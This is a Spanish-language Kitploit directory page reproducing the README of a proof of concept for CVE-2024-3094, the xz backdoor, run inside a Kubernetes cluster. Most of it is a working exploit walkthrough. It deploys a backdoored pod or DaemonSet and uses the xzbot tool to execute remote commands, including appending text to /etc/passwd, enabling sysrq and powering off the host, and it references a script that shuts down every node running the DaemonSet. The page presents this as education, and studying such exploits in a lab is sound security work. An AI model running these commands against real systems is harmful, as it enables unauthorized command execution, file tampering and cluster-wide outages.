Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-3094 — POC básico para probar la vulnerabilidad CVE-2024-3094 dentro de un clúster K8s | Kitploit
Herramientas/GitHubGitHub/shefirot/cve-2024-3094
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad en la NubeAprendizaje y EducaciónEscape de Contenedores
GitHubshefirot/cve-2024-3094

CVE-2024-3094

POC básico para probar la vulnerabilidad CVE-2024-3094 dentro de un clúster K8s

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-3094

POC básico para probar la vulnerabilidad CVE-2024-3094 dentro de un clúster K8s

❗ DESCARGO DE RESPONSABILIDAD ❗

USAR SOLO CON FINES EDUCATIVOS. EL AUTOR NO ES RESPONSABLE POR NINGÚN DAÑO CAUSADO POR EL USO DE ESTE SOFTWARE

Descripción

Desplegaremos un pod vulnerable y lo explotaremos para ejecutar comandos dentro de ese pod vulnerable. Lo hacemos dentro de la misma red por razones de seguridad. No exponemos el pod vulnerable a Internet, pero es el mismo concepto.

Esa vulnerabilidad permite ejecutar comandos dentro del pod, incluso si el pod se ejecuta con un contexto de seguridad. Por ejemplo, puedes apagar el host que ejecuta el pod.

Si esa vulnerabilidad se ejecuta en un solo pod, puedes apagar el host, dejando temporalmente no disponibles todos los servicios que se ejecutan en ese host. Pero, si la vulnerabilidad se ejecuta como un DaemonSet, puedes apagar todos los hosts que ejecutan ese DaemonSet, incluso apagar todo el clúster.

Requisitos

  • Clúster K8s desplegado
  • Kubectl instalado
  • Acceso al clúster K8s
  • Go instalado

Uso

Primero, instala xzbots en el clúster

root@kitploit:~
go install github.com/amlweems/xzbot@latest

Descarga el repositorio y despliega el deployment/daemonset vulnerable

root@kitploit:~
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# O daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
root@kitploit:~
# Obtén el nombre del pod
kubectl -n vulnes get pods

# Reenvío de puertos del pod
kubectl -n vulnes port-forward <pod-name> 2225:22

# Ejecuta el comando, por ejemplo, escribe en /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'

# Verifica el archivo /etc/passwd
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd

Continúa y apaga el host

root@kitploit:~
# Habilita sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'

# Apaga el host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'

También puedes apagar todos los hosts que ejecutan el daemonset

root@kitploit:~
source shutdown_nodes.sh

Problemas conocidos

1. Conexión rehusada

Cuando ejecutas el bucle para apagar todos los hosts, si recibes este error:

root@kitploit:~
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused

Dale más tiempo al reenvío de puertos para que esté listo; puedes aumentar el tiempo de espera en el bucle.

Información adicional

La imagen de contenedor utilizada se generó con el Dockerfile en el repositorio; puedes generar la imagen y subirla a tu registro.

Para generar la biblioteca liblzma.so.5.6.0.patch, puedes usar el repositorio de amlweems que está en las referencias.

Referencias

Repositorio de amlweems

Repositorio de r0binak

Descargar herramienta